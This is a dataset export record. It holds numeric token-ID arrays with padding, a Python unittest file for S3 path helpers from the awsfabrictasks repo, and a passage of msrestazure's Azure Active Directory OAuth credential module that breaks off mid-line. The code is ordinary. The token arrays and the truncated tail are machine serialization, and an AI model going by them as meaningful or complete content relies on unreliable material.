[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
espenak/awsfabrictasks
awsfabrictasks/tests/s3/test_api.py
2
1830
from __future__ import unicode_literals from unittest import TestCase from shutil import rmtree from tempfile import mkdtemp from os import makedirs from os.path import join, exists, dirname from awsfabrictasks.s3.api import dirlist_absfilenames from awsfabrictasks.s3.api import localpath_to_s3path from awsfabrictasks.s3.api import s3path_to_localpath def makefile(tempdir, path, contents): path = join(tempdir, *path.split('/')) if not exists(dirname(path)): makedirs(dirname(path)) open(path, 'wb').write(contents.encode('utf-8')) return path class TestDirlistAbsfilenames(TestCase): def setUp(self): self.tempdir = mkdtemp() files = (('hello/world.txt', 'Hello world'), ('test.py', 'print "test"'), ('hello/cruel/world.txt', 'Cruel?')) self.paths = set() for path, contents in files: realpath = makefile(self.tempdir, path, contents) self.paths.add(realpath) def tearDown(self): rmtree(self.tempdir) def test_dirlist_absfilenames(self): result = dirlist_absfilenames(self.tempdir) self.assertEquals(result, self.paths) class TestLocalpathToS3path(TestCase): def setUp(self): self.tempdir = mkdtemp() makefile(self.tempdir, 'hello/world.txt', '') def tearDown(self): rmtree(self.tempdir) def test_localpath_to_s3path(self): s3path = localpath_to_s3path(self.tempdir, join(self.tempdir, 'hello/world.txt'), 'my/test') self.assertEquals(s3path, 'my/test/hello/world.txt') def test_s3path_to_localpath(self): localpath = s3path_to_localpath('mydir/', 'mydir/hello/world.txt', join(self.tempdir, 'my', 'test')) self.assertEquals(localpath, join(self.tempdir, 'my', 'test', 'hello', 'world.txt'))
bsd-3-clause
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 2882, 492, 7640, 199, 504, 5145, 492, 20978, 199, 504, 5549, 492, 31781, 199, 504, 747, 492, 1852, 3220, 199, 504, 747, 14, 515, 492, 4263, 12, 3495, 12, 9017, 199, 199, 504, 11488, 21159, 322, 319, 813, 83, 14, 83, 19, 14, 1246, 492, 2935, 513, 63, 2101, 10309, 199, 504, 11488, 21159, 322, 319, 813, 83, 14, 83, 19, 14, 1246, 492, 2257, 515, 63, 475, 63, 83, 19, 515, 199, 504, 11488, 21159, 322, 319, 813, 83, 14, 83, 19, 14, 1246, 492, 308, 19, 515, 63, 475, 63, 1832, 515, 199, 199, 318, 16818, 8, 11567, 12, 931, 12, 4072, 304, 272, 931, 275, 4263, 8, 11567, 12, 627, 515, 14, 1294, 28684, 272, 340, 440, 3495, 8, 3475, 8, 515, 2298, 267, 1852, 3220, 8, 3475, 8, 515, 430, 272, 1551, 8, 515, 12, 283, 6603, 1959, 952, 8, 4407, 14, 2143, 360, 1624, 13, 24, 1333, 272, 372, 931, 421, 199, 533, 1379, 3567, 513, 15447, 10309, 8, 1746, 304, 272, 347, 3613, 8, 277, 304, 267, 291, 14, 11567, 275, 31781, 342, 267, 1584, 275, 13636, 5006, 15, 7617, 14, 2424, 297, 283, 6257, 6701, 659, 326, 661, 396, 14, 647, 297, 283, 1361, 298, 396, 32574, 326, 661, 5006, 15, 67, 431, 76, 15, 7617, 14, 2424, 297, 283, 35, 431, 76, 31, 1333, 267, 291, 14, 3771, 275, 663, 342, 267, 367, 931, 12, 4072, 315, 1584, 26, 288, 3363, 515, 275, 16818, 8, 277, 14, 11567, 12, 931, 12, 4072, 9, 288, 291, 14, 3771, 14, 525, 8, 11091, 9, 339, 347, 6766, 8, 277, 304, 267, 20978, 8, 277, 14, 11567, 9, 339, 347, 511, 63, 694, 513, 63, 2101, 10309, 8, 277, 304, 267, 754, 275, 2935, 513, 63, 2101, 10309, 8, 277, 14, 11567, 9, 267, 291, 14, 2947, 8, 1099, 12, 291, 14, 3771, 9, 421, 199, 533, 1379, 5339, 515, 1378, 51, 19, 515, 8, 1746, 304, 272, 347, 3613, 8, 277, 304, 267, 291, 14, 11567, 275, 31781, 342, 267, 16818, 8, 277, 14, 11567, 12, 283, 5006, 15, 7617, 14, 2424, 297, 4074, 339, 347, 6766, 8, 277, 304, 267, 20978, 8, 277, 14, 11567, 9, 339, 347, 511, 63, 1832, 515, 63, 475, 63, 83, 19, 515, 8, 277, 304, 267, 308, 19, 515, 275, 2257, 515, 63, 475, 63, 83, 19, 515, 8, 277, 14, 11567, 12, 4263, 8, 277, 14, 11567, 12, 283, 5006, 15, 7617, 14, 2424, 659, 283, 1662, 15, 396, 358, 267, 291, 14, 2947, 8, 83, 19, 515, 12, 283, 1662, 15, 396, 15, 5006, 15, 7617, 14, 2424, 358, 339, 347, 511, 63, 83, 19, 515, 63, 475, 63, 1832, 515, 8, 277, 304, 267, 2257, 515, 275, 308, 19, 515, 63, 475, 63, 1832, 515, 360, 1662, 694, 3678, 283, 1662, 694, 15, 5006, 15, 7617, 14, 2424, 297, 4263, 8, 277, 14, 11567, 12, 283, 1662, 297, 283, 396, 1333, 267, 291, 14, 2947, 8, 1832, 515, 12, 4263, 8, 277, 14, 11567, 12, 283, 1662, 297, 283, 396, 297, 283, 5006, 297, 283, 7617, 14, 2424, 1333, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 2882, 492, 7640, 199, 504, 5145, 492, 20978, 199, 504, 5549, 492, 31781, 199, 504, 747, 492, 1852, 3220, 199, 504, 747, 14, 515, 492, 4263, 12, 3495, 12, 9017, 199, 199, 504, 11488, 21159, 322, 319, 813, 83, 14, 83, 19, 14, 1246, 492, 2935, 513, 63, 2101, 10309, 199, 504, 11488, 21159, 322, 319, 813, 83, 14, 83, 19, 14, 1246, 492, 2257, 515, 63, 475, 63, 83, 19, 515, 199, 504, 11488, 21159, 322, 319, 813, 83, 14, 83, 19, 14, 1246, 492, 308, 19, 515, 63, 475, 63, 1832, 515, 199, 199, 318, 16818, 8, 11567, 12, 931, 12, 4072, 304, 272, 931, 275, 4263, 8, 11567, 12, 627, 515, 14, 1294, 28684, 272, 340, 440, 3495, 8, 3475, 8, 515, 2298, 267, 1852, 3220, 8, 3475, 8, 515, 430, 272, 1551, 8, 515, 12, 283, 6603, 1959, 952, 8, 4407, 14, 2143, 360, 1624, 13, 24, 1333, 272, 372, 931, 421, 199, 533, 1379, 3567, 513, 15447, 10309, 8, 1746, 304, 272, 347, 3613, 8, 277, 304, 267, 291, 14, 11567, 275, 31781, 342, 267, 1584, 275, 13636, 5006, 15, 7617, 14, 2424, 297, 283, 6257, 6701, 659, 326, 661, 396, 14, 647, 297, 283, 1361, 298, 396, 32574, 326, 661, 5006, 15, 67, 431, 76, 15, 7617, 14, 2424, 297, 283, 35, 431, 76, 31, 1333, 267, 291, 14, 3771, 275, 663, 342, 267, 367, 931, 12, 4072, 315, 1584, 26, 288, 3363, 515, 275, 16818, 8, 277, 14, 11567, 12, 931, 12, 4072, 9, 288, 291, 14, 3771, 14, 525, 8, 11091, 9, 339, 347, 6766, 8, 277, 304, 267, 20978, 8, 277, 14, 11567, 9, 339, 347, 511, 63, 694, 513, 63, 2101, 10309, 8, 277, 304, 267, 754, 275, 2935, 513, 63, 2101, 10309, 8, 277, 14, 11567, 9, 267, 291, 14, 2947, 8, 1099, 12, 291, 14, 3771, 9, 421, 199, 533, 1379, 5339, 515, 1378, 51, 19, 515, 8, 1746, 304, 272, 347, 3613, 8, 277, 304, 267, 291, 14, 11567, 275, 31781, 342, 267, 16818, 8, 277, 14, 11567, 12, 283, 5006, 15, 7617, 14, 2424, 297, 4074, 339, 347, 6766, 8, 277, 304, 267, 20978, 8, 277, 14, 11567, 9, 339, 347, 511, 63, 1832, 515, 63, 475, 63, 83, 19, 515, 8, 277, 304, 267, 308, 19, 515, 275, 2257, 515, 63, 475, 63, 83, 19, 515, 8, 277, 14, 11567, 12, 4263, 8, 277, 14, 11567, 12, 283, 5006, 15, 7617, 14, 2424, 659, 283, 1662, 15, 396, 358, 267, 291, 14, 2947, 8, 83, 19, 515, 12, 283, 1662, 15, 396, 15, 5006, 15, 7617, 14, 2424, 358, 339, 347, 511, 63, 83, 19, 515, 63, 475, 63, 1832, 515, 8, 277, 304, 267, 2257, 515, 275, 308, 19, 515, 63, 475, 63, 1832, 515, 360, 1662, 694, 3678, 283, 1662, 694, 15, 5006, 15, 7617, 14, 2424, 297, 4263, 8, 277, 14, 11567, 12, 283, 1662, 297, 283, 396, 1333, 267, 291, 14, 2947, 8, 1832, 515, 12, 4263, 8, 277, 14, 11567, 12, 283, 1662, 297, 283, 396, 297, 283, 5006, 297, 283, 7617, 14, 2424, 1333, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
stankovski/AutoRest
ClientRuntimes/Python/msrestazure/msrestazure/azure_active_directory.py
1
17399
# -------------------------------------------------------------------------- # # Copyright (c) Microsoft Corporation. All rights reserved. # # The MIT License (MIT) # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the ""Software""), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. # # -------------------------------------------------------------------------- import ast import time try: from urlparse import urlparse, parse_qs except ImportError: from urllib.parse import urlparse, parse_qs import keyring from oauthlib.oauth2 import BackendApplicationClient, LegacyApplicationClient from oauthlib.oauth2.rfc6749.errors import ( InvalidGrantError, MismatchingStateError, OAuth2Error, TokenExpiredError) from requests import RequestException import requests_oauthlib as oauth from msrest.authentication import OAuthTokenAuthentication from msrest.exceptions import TokenExpiredError as Expired from msrest.exceptions import ( AuthenticationError, raise_with_traceback) def _build_url(uri, paths, scheme): """Combine URL parts. :param str uri: The base URL. :param list paths: List of strings that make up the URL. :param str scheme: The URL scheme, 'http' or 'https'. :rtype: str :return: Combined, formatted URL. """ path = [str(p).strip('/') for p in paths] combined_path = '/'.join(path) parsed_url = urlparse(uri) replaced = parsed_url._replace(scheme=scheme) if combined_path: path = '/'.join([replaced.path, combined_path]) replaced = replaced._replace(path=path) new_url = replaced.geturl() new_url = new_url.replace('///', '//') return new_url def _http(uri, *extra): """Convert https URL to http. :param str uri: The base URL. :param str extra: Additional URL paths (optional). :rtype: str :return: An HTTP URL. """ return _build_url(uri, extra, 'http') def _https(uri, *extra): """Convert http URL to https. :param str uri: The base URL. :param str extra: Additional URL paths (optional). :rtype: str :return: An HTTPS URL. """ return _build_url(uri, extra, 'https') class AADMixin(object): """Mixin for Authentication object. Provides some AAD functionality: - State validation - Token caching and retrieval - Default AAD configuration """ _auth_endpoint = "//login.microsoftonline.com" _china_auth_endpoint = "//login.chinacloudapi.cn" _token_uri = "/oauth2/token" _auth_uri = "/oauth2/authorize" _tenant = "common" _resource = 'https://management.core.windows.net/' _china_resource = "https://management.core.chinacloudapi.cn/" _keyring = "AzureAAD" def _configure(self, **kwargs): """Configure authentication endpoint. Optional kwargs may include: - china (bool): Configure auth for China-based service, default is 'False'. - tenant (str): Alternative tenant, default is 'common'. - auth_uri (str): Alternative authentication endpoint. - token_uri (str): Alternative token retrieval endpoint. - resource (str): Alternative authentication resource, default is 'https://management.core.windows.net/'. - verify (bool): Verify secure connection, default is 'True'. - keyring (str): Name of local token cache, default is 'AzureAAD'. """ if kwargs.get('china'): auth_endpoint = self._china_auth_endpoint resource = self._china_resource else: auth_endpoint = self._auth_endpoint resource = self._resource tenant = kwargs.get('tenant', self._tenant) self.auth_uri = kwargs.get('auth_uri', _https( auth_endpoint, tenant, self._auth_uri)) self.token_uri = kwargs.get('token_uri', _https( auth_endpoint, tenant, self._token_uri)) self.verify = kwargs.get('verify', True) self.cred_store = kwargs.get('keyring', self._keyring) self.resource = kwargs.get('resource', resource) self.state = oauth.oauth2_session.generate_token() self.store_key = "{}_{}".format( self._auth_endpoint.strip('/'), self.store_key) def _check_state(self, response): """Validate state returned by AAD server. :param str response: URL returned by server redirect. :raises: ValueError if state does not match that of the request. :rtype: None """ query = parse_qs(urlparse(response).query) if self.state not in query.get('state', []): raise ValueError( "State received from server does not match that of request.") def _parse_token(self): if self.token.get('expires_at'): countdown = float(self.token['expires_at']) - time.time() self.token['expires_in'] = countdown kwargs = {} if self.token.get('refresh_token'): kwargs['auto_refresh_url'] = self.token_uri kwargs['auto_refresh_kwargs'] = {'client_id': self.id, 'resource': self.resource} kwargs['token_updater'] = self._default_token_cache return kwargs def _default_token_cache(self, token): """Store token for future sessions. :param dict token: An authentication token. :rtype: None """ self.token = token keyring.set_password(self.cred_store, self.store_key, str(token)) def _retrieve_stored_token(self): """Retrieve stored token for new session. :raises: ValueError if no cached token found. :rtype: dict :return: Retrieved token. """ token = keyring.get_password(self.cred_store, self.store_key) if token is None: raise ValueError("No stored token found.") self.token = ast.literal_eval(str(token)) self.signed_session() def signed_session(self): """Create token-friendly Requests session, using auto-refresh. Used internally when a request is made. :rtype: requests_oauthlib.OAuth2Session :raises: TokenExpiredError if token can no longer be refreshed. """ kwargs = self._parse_token() try: new_session = oauth.OAuth2Session( self.id, token=self.token, **kwargs) return new_session except TokenExpiredError as err: raise_with_traceback(Expired, "", err) def clear_cached_token(self): """Clear any stored tokens. :raises: KeyError if failed to clear token. :rtype: None """ try: keyring.delete_password(self.cred_store, self.store_key) except keyring.errors.PasswordDeleteError: raise_with_traceback(KeyError, "Unable to clear token.") class UserPassCredentials(OAuthTokenAuthentication, AADMixin): """Credentials object for Headless Authentication, i.e. AAD authentication via username and password. Headless Auth requires an AAD login (no a Live ID) that already has permission to access the resource e.g. an organization account, and that 2-factor auth be disabled. Optional kwargs may include: - china (bool): Configure auth for China-based service, default is 'False'. - tenant (str): Alternative tenant, default is 'common'. - auth_uri (str): Alternative authentication endpoint. - token_uri (str): Alternative token retrieval endpoint. - resource (str): Alternative authentication resource, default is 'https://management.core.windows.net/'. - verify (bool): Verify secure connection, default is 'True'. - keyring (str): Name of local token cache, default is 'AzureAAD'. - cached (bool): If true, will not attempt to collect a token, which can then be populated later from a cached token. :param str username: Account username. :param str password: Account password. :param str client_id: Client ID, if not set, Xplat Client ID will be used. :param str secret: Client secret, only if required by server. """ def __init__(self, username, password, client_id=None, secret=None, **kwargs): if not client_id: # Default to Xplat Client ID. client_id = '04b07795-8ddb-461a-bbee-02f9e1bf7b46' super(UserPassCredentials, self).__init__(client_id, None) self._configure(**kwargs) self.store_key += "_{}".format(username) self.username = username self.password = password self.secret = secret self.client = LegacyApplicationClient(client_id=self.id) if not kwargs.get('cached'): self.set_token() @classmethod def retrieve_session(cls, username, client_id=None): """Create ServicePrincipalCredentials from a cached token if it has not yet expired. """ session = cls(username, None, client_id=client_id, cached=True) session._retrieve_stored_token() return session def _setup_session(self): """Create token-friendly Requests session. :rtype: requests_oauthlib.OAuth2Session """ return oauth.OAuth2Session(client=self.client) def set_token(self): """Get token using Username/Password credentials. :raises: AuthenticationError if credentials invalid, or call fails. """ session = self._setup_session() optional = {} if self.secret: optional['client_secret'] = self.secret try: token = session.fetch_token(self.token_uri, client_id=self.id, username=self.username, password=self.password, resource=self.resource, verify=self.verify, **optional) except (RequestException, OAuth2Error, InvalidGrantError) as err: raise_with_traceback(AuthenticationError, "", err) self.token = token class ServicePrincipalCredentials(OAuthTokenAuthentication, AADMixin): """Credentials object for Service Principle Authentication. Authenticates via a Client ID and Secret. Optional kwargs may include: - china (bool): Configure auth for China-based service, default is 'False'. - tenant (str): Alternative tenant, default is 'common'. - auth_uri (str): Alternative authentication endpoint. - token_uri (str): Alternative token retrieval endpoint. - resource (str): Alternative authentication resource, default is 'https://management.core.windows.net/'. - verify (bool): Verify secure connection, default is 'True'. - keyring (str): Name of local token cache, default is 'AzureAAD'. - cached (bool): If true, will not attempt to collect a token, which can then be populated later from a cached token. :param str client_id: Client ID. :param str secret: Client secret. """ def __init__(self, client_id, secret, **kwargs): super(ServicePrincipalCredentials, self).__init__(client_id, None) self._configure(**kwargs) self.secret = secret self.client = BackendApplicationClient(self.id) if not kwargs.get('cached'): self.set_token() @classmethod def retrieve_session(cls, client_id): """Create ServicePrincipalCredentials from a cached token if it has not yet expired. """ session = cls(client_id, None, cached=True) session._retrieve_stored_token() return session def _setup_session(self): """Create token-friendly Requests session. :rtype: requests_oauthlib.OAuth2Session """ return oauth.OAuth2Session(self.id, client=self.client) def set_token(self): """Get token using Client ID/Secret credentials. :raises: AuthenticationError if credentials invalid, or call fails. """ session = self._setup_session() try: token = session.fetch_token(self.token_uri, client_id=self.id, resource=self.resource, client_secret=self.secret, response_type="client_credentials", verify=self.verify) except (RequestException, OAuth2Error, InvalidGrantError) as err: raise_with_traceback(AuthenticationError, "", err) else: self.token = token class InteractiveCredentials(OAuthTokenAuthentication, AADMixin): """Credentials object for Interactive/Web App Authentication. Requires that an AAD Client be configured with a redirect URL. Optional kwargs may include: - china (bool): Configure auth for China-based service, default is 'False'. - tenant (str): Alternative tenant, default is 'common'. - auth_uri (str): Alternative authentication endpoint. - token_uri (str): Alternative token retrieval endpoint. - resource (str): Alternative authentication resource, default is 'https://management.core.windows.net/'. - verify (bool): Verify secure connection, default is 'True'. - keyring (str): Name of local token cache, default is 'AzureAAD'. - cached (bool): If true, will not attempt to collect a token, which can then be populated later from a cached token. :param str client_id: Client ID. :param str redirect: Redirect URL. """ def __init__(self, client_id, redirect, **kwargs): super(InteractiveCredentials, self).__init__(client_id, None) self._configure(**kwargs) self.redirect = redirect if 